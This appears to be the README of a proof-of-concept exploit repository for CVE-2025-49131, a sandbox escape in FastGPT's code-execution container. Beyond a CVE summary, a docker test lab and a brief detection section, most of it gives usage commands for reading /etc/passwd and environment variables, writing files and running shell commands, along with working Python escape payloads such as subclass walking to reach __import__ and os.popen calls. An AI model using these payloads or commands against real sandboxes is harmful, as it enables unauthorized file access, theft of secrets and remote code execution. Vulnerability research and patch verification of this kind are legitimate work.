
Proof-of-concept exploit for CVE-2025-49131, a sandbox escape in FastGPT allowing arbitrary file read/write, import bypass, and remote code execution via the sandbox API.
███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
█████╗ ███████║███████╗ ██║ ██║ ███╗██████╔╝ ██║
██╔══╝ ██╔══██║╚════██║ ██║ ██║ ██║██╔═══╝ ██║
██║ ██║ ██║███████║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
███████╗ █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██╔██╗
███████║██║ ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝
█████╗ ███████╗██║ ███████║██████╔╝█████╗
██╔══╝ ╚════██║██║ ██╔══██║██╔═══╝ ██╔══╝
███████╗███████║╚██████╗██║ ██║██║ ███████╗
╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚══════╝
╔═══════════════════════════════════════╗
║ CVE-2025-49131 | CVSS 6.3 ║
║ FastGPT Sandbox Container Escape ║
║ Affected: < v4.9.11 ║
╚═══════════════════════════════════════╝
| Field | Value |
|---|---|
| CVE ID | CVE-2025-49131 |
| CVSS Score | 6.3 (Medium) |
| CVSS Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| Vulnerability Type | Sandbox Escape |
| Affected Software | FastGPT (fastgpt-sandbox container) |
| Affected Versions | < 4.9.11 |
| Patched Version | 4.9.11+ |
| Disclosure Date | June 9, 2025 |
This tool is for authorized security research and educational purposes only.
CVE-2025-49131 is a sandbox escape vulnerability in FastGPT's fastgpt-sandbox container. The vulnerability exists due to:
Successful exploitation allows an attacker to:
# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc
# Install dependencies
pip install -r requirements.txt
# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect
# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd
# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"
# Start vulnerable and patched containers
docker-compose up -d
# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002
python poc.py --target http://localhost:3001 --detect -v
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess
python poc.py --target http://localhost:3001 --env
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"
python poc.py --help
cve-2025-49131-poc/
├── poc.py # Main exploit script
├── payloads.py # Payload generator library
├── docker-compose.yml # Test environment
├── requirements.txt # Python dependencies
├── README.md # This file
└── tests/
└── test_exploit.py # Automated tests
The FastGPT sandbox is designed to execute user-submitted code in an isolated environment. However, the isolation mechanisms are insufficient:
Python __builtins__ Access - The sandbox doesn't properly restrict access to built-in functions like open(), __import__(), etc.
Syscall Filtering - The allowed syscall list includes dangerous calls that enable file system access
Import Restrictions Bypass - Multiple techniques exist to bypass module import restrictions
┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using: │
│ - __builtins__ manipulation │
│ - Subclass walking │
│ - Import bypass techniques │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to: │
│ - File system (read/write) │
│ - os/subprocess modules │
│ - Environment variables │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. Impact: │
│ - Data exfiltration │
│ - Code injection │
│ - Remote command execution │
└─────────────────────────────────────────────┘
File Read:
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()
Import Bypass:
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/main/%27os%27)
RCE:
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)
Look for suspicious activity in sandbox logs:
/etc/passwd, /etc/shadow__builtins__, __import__| Date | Event |
|---|---|
| 2025-??-?? | Vulnerability Discovered |
| 2025-??-?? | Vendor Notified |
| 2025-06-?? | Patch Released (v4.9.11) |
| 2025-06-09 | Public Disclosure |
This project is for educational and authorized security research purposes only. Use responsibly.
Created for security research purposes. Always obtain proper authorization before testing.